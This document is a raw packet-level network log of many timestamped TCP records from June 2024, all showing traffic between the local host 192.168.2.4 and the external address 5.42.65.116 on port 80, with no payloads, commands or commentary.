Jun 20, 2024 06:49:11.187647104 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187669039 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187680006 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187700987 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187714100 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187735081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187747955 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187767029 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187802076 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187814951 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187834024 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187849045 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187887907 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.188071966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188103914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188136101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188160896 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.188191891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.188378096 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188429117 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188496113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.188498020 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188549042 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188580990 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188608885 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.188612938 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188621998 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.188661098 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.188663960 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188699007 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188733101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188746929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.188766003 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188786983 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.188801050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188823938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.188836098 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.188852072 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.188882113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189071894 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189105034 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189126968 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189140081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189148903 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189172983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189208984 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189224005 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189241886 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189259052 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189275980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189297915 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189321995 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189403057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189435959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189486980 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189486980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189538002 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189570904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189588070 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189604044 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189619064 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189659119 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189660072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189690113 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189727068 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189740896 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189762115 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189774990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189795017 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189826965 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189840078 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189861059 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189882040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189894915 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189917088 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189932108 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189944029 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.189961910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.189992905 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.190026999 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.190057993 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.190105915 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.190139055 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.190167904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.190192938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.190215111 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.190220118 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.190251112 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.190283060 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.190295935 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.190319061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.190336943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.190375090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.190557957 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191405058 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191458941 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191462994 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.191492081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191529036 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191540003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.191580057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191581964 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.191613913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191663027 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.191664934 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191699028 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191731930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191747904 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.191755056 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191768885 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191782951 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.191796064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191811085 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191817999 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.191826105 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191840887 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191850901 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.191858053 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191870928 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.191873074 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191891909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191909075 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.191920042 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191939116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191942930 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.191952944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191965103 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.191970110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191986084 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.191998959 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.192001104 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.192018986 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.192032099 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.192058086 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.192075014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.192084074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.192089081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.192105055 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.192120075 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.192121983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.192136049 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.192140102 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.192159891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.192194939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.277899981 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.277936935 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.277971029 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.277975082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.277996063 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.278023958 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.278049946 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.278094053 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.278265953 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.278301954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.278317928 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.278352976 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279180050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279215097 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279237986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279252052 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279264927 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279303074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279346943 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279381037 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279396057 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279416084 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279444933 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279450893 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279480934 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279486895 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279499054 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279519081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279536963 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279553890 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279571056 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279588938 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279603958 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279624939 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279634953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279664993 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279675007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279717922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279719114 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279884100 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279918909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279925108 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279932976 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279953957 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.279969931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.279988050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280000925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280034065 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280041933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280076981 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280092001 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280112028 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280131102 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280144930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280158997 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280179024 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280213118 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280213118 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280234098 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280246019 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280267000 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280289888 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280294895 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280312061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280347109 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280369043 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280385971 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280424118 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280438900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280472994 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280565977 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280601025 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280621052 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280633926 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280641079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280668020 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280673027 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280703068 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280716896 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280747890 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280765057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280778885 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280792952 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280807018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280821085 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280824900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280834913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280848980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280864000 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280864000 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280885935 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280917883 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280921936 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280952930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280966997 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.280987978 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.280999899 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281021118 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281034946 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281056881 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281066895 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281091928 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281099081 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281122923 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281136036 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281157970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281171083 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281207085 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281433105 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281486034 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281640053 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281673908 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281692028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281707048 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281723976 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281740904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281754971 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281776905 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281784058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281811953 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281829119 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281847000 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281858921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281872034 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281924963 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.281934977 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281951904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.281982899 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.282016993 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.282113075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.282128096 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.282144070 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.282160044 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.282160997 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.282186031 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.282198906 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.282222033 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.282247066 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.282264948 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.282280922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.282290936 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.282299042 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.282319069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.282335997 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.282387972 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.282404900 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.282419920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.282433987 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.282469988 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.283598900 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.283616066 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.283631086 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.283678055 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.283715010 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.283768892 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.283785105 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.283798933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.283814907 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.283819914 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.283854961 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.283941031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.283957958 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.283973932 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.283989906 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.283992052 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284004927 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284029007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284058094 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284113884 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284132004 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284147024 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284162998 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284164906 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284181118 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284184933 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284198046 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284220934 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284255028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284292936 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284308910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284337997 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284357071 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284463882 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284487963 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284506083 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284511089 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284522057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284532070 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284538984 CEST	80	49743	5.42.65.116	192.168.2.4
